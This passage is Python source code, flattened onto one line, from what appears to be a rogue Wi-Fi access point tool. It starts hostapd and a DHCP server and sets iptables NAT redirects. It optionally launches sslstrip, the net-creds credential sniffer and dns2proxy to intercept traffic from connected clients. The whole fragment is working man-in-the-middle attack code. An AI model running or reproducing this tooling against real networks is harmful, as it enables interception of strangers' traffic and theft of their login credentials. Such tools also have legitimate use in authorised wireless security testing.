"interface", self.ConfigTwin["AP_iface"], False) break self.CoreSettings() elif self.APactived == "hostapd": self.FSettings.xmlSettings("netcreds", "interface", str(self.selectCard.currentText()), False) self.ConfigTwin["AP_iface"] = str(self.selectCard.currentText()) try: check_output(["nmcli", "radio", "wifi", "off"]) except CalledProcessError: try: check_output(["nmcli", "nm", "wifi", "off"]) except CalledProcessError as e: return QMessageBox.warning(self, "Error nmcli", e) call(["rfkill", "unblock", "wlan"]) self.CoreSettings() ignore = ("interface=", "ssid=", "channel=") with open("Settings/hostapd.conf", "w") as apconf: for i in self.SettingsAP["hostapd"]: apconf.write(i) for config in str(self.FSettings.ListHostapd.toPlainText()).split("\n"): if not config.startswith("#") and len(config) > 0: if not config.startswith(ignore): apconf.write(config + "\n") apconf.close() self.Thread_hostapd = ProcessHostapd(["hostapd", "-d", "Settings/hostapd.conf"]) self.Thread_hostapd.setObjectName("hostapd") self.Thread_hostapd.statusAP_connected.connect(self.GetHostapdStatus) self.Apthreads["RougeAP"].append(self.Thread_hostapd) self.Thread_hostapd.start() # thread dhcp selected_dhcp = self.FSettings.xmlSettings("dhcp", "dhcp_server", None, False) if selected_dhcp == "iscdhcpserver": Thread_dhcp = ThRunDhcp( [ "sudo", "dhcpd", "-d", "-f", "-lf", "Settings/dhcp/dhcpd.leases", "-cf", "/etc/dhcp/dhcpd.conf", self.ConfigTwin["AP_iface"], ] ) Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) Thread_dhcp.setObjectName("DHCP") self.Apthreads["RougeAP"].append(Thread_dhcp) Thread_dhcp.start() ##### dnsmasq disabled # elif selected_dhcp == 'dnsmasq': # Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d']) # self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) # Thread_dhcp .setObjectName('DHCP') # self.Apthreads['RougeAP'].append(Thread_dhcp) # Thread_dhcp .start() else: return QMessageBox.information(self, "DHCP", selected_dhcp + " not found.") self.Started(True) self.FSettings.xmlSettings("statusAP", "value", "True", False) if self.FSettings.check_redirect.isChecked() or not self.PopUpPlugins.check_sslstrip.isChecked(): popen("iptables -t nat -A PREROUTING -p udp -j DNAT --to {}".format(str(self.EditGateway.text()))) self.FSettings.xmlSettings("sslstrip_plugin", "status", "False", False) self.PopUpPlugins.check_sslstrip.setChecked(False) self.PopUpPlugins.unset_Rules("sslstrip") # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): Thread_sslstrip = Threadsslstrip(self.ConfigTwin["PortRedirect"]) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads["RougeAP"].append(Thread_sslstrip) Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread( [ "python", "Plugins/net-creds/net-creds.py", "-i", self.FSettings.xmlSettings("netcreds", "interface", None, False), ] ) Thread_netcreds.setName("Net-Creds") self.Apthreads["RougeAP"].append(Thread_netcreds) Thread_netcreds.start() if self.PopUpPlugins.check_dns2proy.isChecked(): Thread_dns2proxy = ProcessThread(["python", "Plugins/dns2proxy/dns2proxy.py"]) Thread_dns2proxy.setName("Dns2Proxy") self.Apthreads["RougeAP"].append(Thread_dns2proxy) Thread_dns2proxy.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search("--append FORWARD --in-interface", rules): popen(rules.replace("$$", self.ConfigTwin["AP_iface"])) elif search("--append POSTROUTING --out-interface", rules): popen(rules.replace("$$", str(Refactor.get_interfaces()["activated"]))) else: popen(rules)